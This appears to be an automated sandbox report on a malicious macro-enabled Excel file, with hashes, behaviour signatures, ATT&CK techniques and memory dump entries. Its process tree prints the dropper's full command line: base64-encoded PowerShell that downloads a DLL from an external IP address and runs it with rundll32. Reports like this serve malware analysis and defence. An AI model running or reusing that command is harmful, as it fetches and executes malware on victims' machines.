Analysis

  • max time kernel
    119s
  • max time network
    127s
  • platform
    windows7_x64
  • resource
    win7-en-20210920
  • submitted
    21-10-2021 15:12

General

  • Target

    RNP-00129.xlsm

  • Size

    87KB

  • MD5

    21f5a279cdb8389e79a711ae43a9215a

  • SHA1

    74516a2bedf8b8aa4551cedba8a62e68209c0068

  • SHA256

    45b7ef5a55cbcddb1f21415450ee982ebdafac1cf3a57e62acb8d014bc797dfc

  • SHA512

    59af799f48b406da33005e71941341e4873ee5de0c5aa76eeb1a2465d11a9b8f4ec61209c3dbffe25078bc73b61552c82bbae9c5e3e20789ba227d7783776cde

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Office loads VBA resources, possible macro or embedded object present
  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 9 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\RNP-00129.xlsm
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:772
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\System32\cmd.exe /c start /B /WAIT powershell -enc SQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgACIAaAB0AHQAcAA6AC8ALwA0ADUALgA4ADYALgA2ADUALgAxADkANwAvAGkAbQBhAGcAZQBzAC8AcwB1AGIAegBlAHIAbwAuAHAAbgBnACIAIAAtAE8AdQB0AEYAaQBsAGUAIAAiAEMAOgBcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcAGMAbABiAC4AZABsAGwAIgA= & start C:\Windows\System32\rundll32.exe C:\ProgramData\clb.dll,AloperNoteW
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:1004
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -enc SQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgACIAaAB0AHQAcAA6AC8ALwA0ADUALgA4ADYALgA2ADUALgAxADkANwAvAGkAbQBhAGcAZQBzAC8AcwB1AGIAegBlAHIAbwAuAHAAbgBnACIAIAAtAE8AdQB0AEYAaQBsAGUAIAAiAEMAOgBcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcAGMAbABiAC4AZABsAGwAIgA=
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1908
      • C:\Windows\SysWOW64\rundll32.exe
        C:\Windows\System32\rundll32.exe C:\ProgramData\clb.dll,AloperNoteW
        3⤵
          PID:1740

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Defense Evasion

    Modify Registry

    1
    T1112

    Discovery

    Query Registry

    1
    T1012

    System Information Discovery

    1
    T1082

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/772-54-0x000000002FC31000-0x000000002FC34000-memory.dmp
      Filesize

      12KB

    • memory/772-55-0x0000000070E81000-0x0000000070E83000-memory.dmp
      Filesize

      8KB

    • memory/772-56-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/772-65-0x00000000006B9000-0x00000000006BD000-memory.dmp
      Filesize

      16KB

    • memory/772-66-0x00000000006B9000-0x00000000006BD000-memory.dmp
      Filesize

      16KB

    • memory/772-64-0x00000000006B9000-0x00000000006BD000-memory.dmp
      Filesize

      16KB

    • memory/772-63-0x00000000006B9000-0x00000000006BD000-memory.dmp
      Filesize

      16KB

    • memory/772-62-0x00000000006B9000-0x00000000006BD000-memory.dmp
      Filesize

      16KB

    • memory/772-61-0x00000000006B9000-0x00000000006BD000-memory.dmp
      Filesize

      16KB

    • memory/772-60-0x00000000006B9000-0x00000000006BD000-memory.dmp
      Filesize

      16KB

    • memory/772-59-0x00000000006B9000-0x00000000006BD000-memory.dmp
      Filesize

      16KB

    • memory/772-58-0x00000000006B9000-0x00000000006BD000-memory.dmp
      Filesize

      16KB

    • memory/772-57-0x00000000006B9000-0x00000000006BD000-memory.dmp
      Filesize

      16KB

    • memory/772-67-0x00000000006B9000-0x00000000006BD000-memory.dmp
      Filesize

      16KB

    • memory/772-68-0x00000000006B9000-0x00000000006BD000-memory.dmp
      Filesize

      16KB

    • memory/772-69-0x00000000006B9000-0x00000000006BD000-memory.dmp
      Filesize

      16KB

    • memory/772-70-0x00000000006B9000-0x00000000006BD000-memory.dmp
      Filesize

      16KB

    • memory/772-72-0x00000000006B9000-0x00000000006BD000-memory.dmp
      Filesize

      16KB

    • memory/772-71-0x00000000006B9000-0x00000000006BD000-memory.dmp
      Filesize

      16KB

    • memory/772-82-0x00000000006B9000-0x00000000006BD000-memory.dmp
      Filesize

      16KB

    • memory/772-85-0x00000000006B9000-0x00000000006BD000-memory.dmp
      Filesize

      16KB

    • memory/772-86-0x00000000006B9000-0x00000000006BD000-memory.dmp
      Filesize

      16KB

    • memory/772-95-0x00000000006B9000-0x00000000006BD000-memory.dmp
      Filesize

      16KB

    • memory/772-94-0x00000000006B9000-0x00000000006BD000-memory.dmp
      Filesize

      16KB

    • memory/772-104-0x00000000006B9000-0x00000000006BD000-memory.dmp
      Filesize

      16KB

    • memory/772-105-0x00000000006B9000-0x00000000006BD000-memory.dmp
      Filesize

      16KB

    • memory/772-103-0x00000000006B9000-0x00000000006BD000-memory.dmp
      Filesize

      16KB

    • memory/772-106-0x00000000006B9000-0x00000000006BD000-memory.dmp
      Filesize

      16KB

    • memory/772-102-0x00000000006B9000-0x00000000006BD000-memory.dmp
      Filesize

      16KB

    • memory/772-101-0x00000000006B9000-0x00000000006BD000-memory.dmp
      Filesize

      16KB

    • memory/772-100-0x00000000006B9000-0x00000000006BD000-memory.dmp
      Filesize

      16KB

    • memory/772-99-0x00000000006B9000-0x00000000006BD000-memory.dmp
      Filesize

      16KB

    • memory/772-98-0x00000000006B9000-0x00000000006BD000-memory.dmp
      Filesize

      16KB

    • memory/772-97-0x00000000006B9000-0x00000000006BD000-memory.dmp
      Filesize

      16KB

    • memory/772-96-0x00000000006B9000-0x00000000006BD000-memory.dmp
      Filesize

      16KB

    • memory/772-93-0x00000000006B9000-0x00000000006BD000-memory.dmp
      Filesize

      16KB

    • memory/772-92-0x00000000006B9000-0x00000000006BD000-memory.dmp
      Filesize

      16KB

    • memory/772-91-0x00000000006B9000-0x00000000006BD000-memory.dmp
      Filesize

      16KB

    • memory/772-90-0x00000000006B9000-0x00000000006BD000-memory.dmp
      Filesize

      16KB

    • memory/772-89-0x00000000006B9000-0x00000000006BD000-memory.dmp
      Filesize

      16KB

    • memory/772-88-0x00000000006B9000-0x00000000006BD000-memory.dmp
      Filesize

      16KB

    • memory/772-87-0x00000000006B9000-0x00000000006BD000-memory.dmp
      Filesize

      16KB

    • memory/772-84-0x00000000006B9000-0x00000000006BD000-memory.dmp
      Filesize

      16KB

    • memory/772-83-0x00000000006B9000-0x00000000006BD000-memory.dmp
      Filesize

      16KB

    • memory/772-81-0x00000000006B9000-0x00000000006BD000-memory.dmp
      Filesize

      16KB

    • memory/772-80-0x00000000006B9000-0x00000000006BD000-memory.dmp
      Filesize

      16KB

    • memory/772-79-0x00000000006B9000-0x00000000006BD000-memory.dmp
      Filesize

      16KB

    • memory/772-78-0x00000000006B9000-0x00000000006BD000-memory.dmp
      Filesize

      16KB

    • memory/772-77-0x00000000006B9000-0x00000000006BD000-memory.dmp
      Filesize

      16KB

    • memory/772-76-0x00000000006B9000-0x00000000006BD000-memory.dmp
      Filesize

      16KB

    • memory/772-75-0x00000000006B9000-0x00000000006BD000-memory.dmp
      Filesize

      16KB

    • memory/772-74-0x00000000006B9000-0x00000000006BD000-memory.dmp
      Filesize

      16KB

    • memory/772-73-0x00000000006B9000-0x00000000006BD000-memory.dmp
      Filesize

      16KB

    • memory/772-113-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/1004-107-0x0000000000000000-mapping.dmp
    • memory/1740-111-0x0000000000000000-mapping.dmp
    • memory/1908-108-0x0000000000000000-mapping.dmp
    • memory/1908-109-0x0000000075FA1000-0x0000000075FA3000-memory.dmp
      Filesize

      8KB

    • memory/1908-110-0x0000000002320000-0x0000000002F6A000-memory.dmp
      Filesize

      12.3MB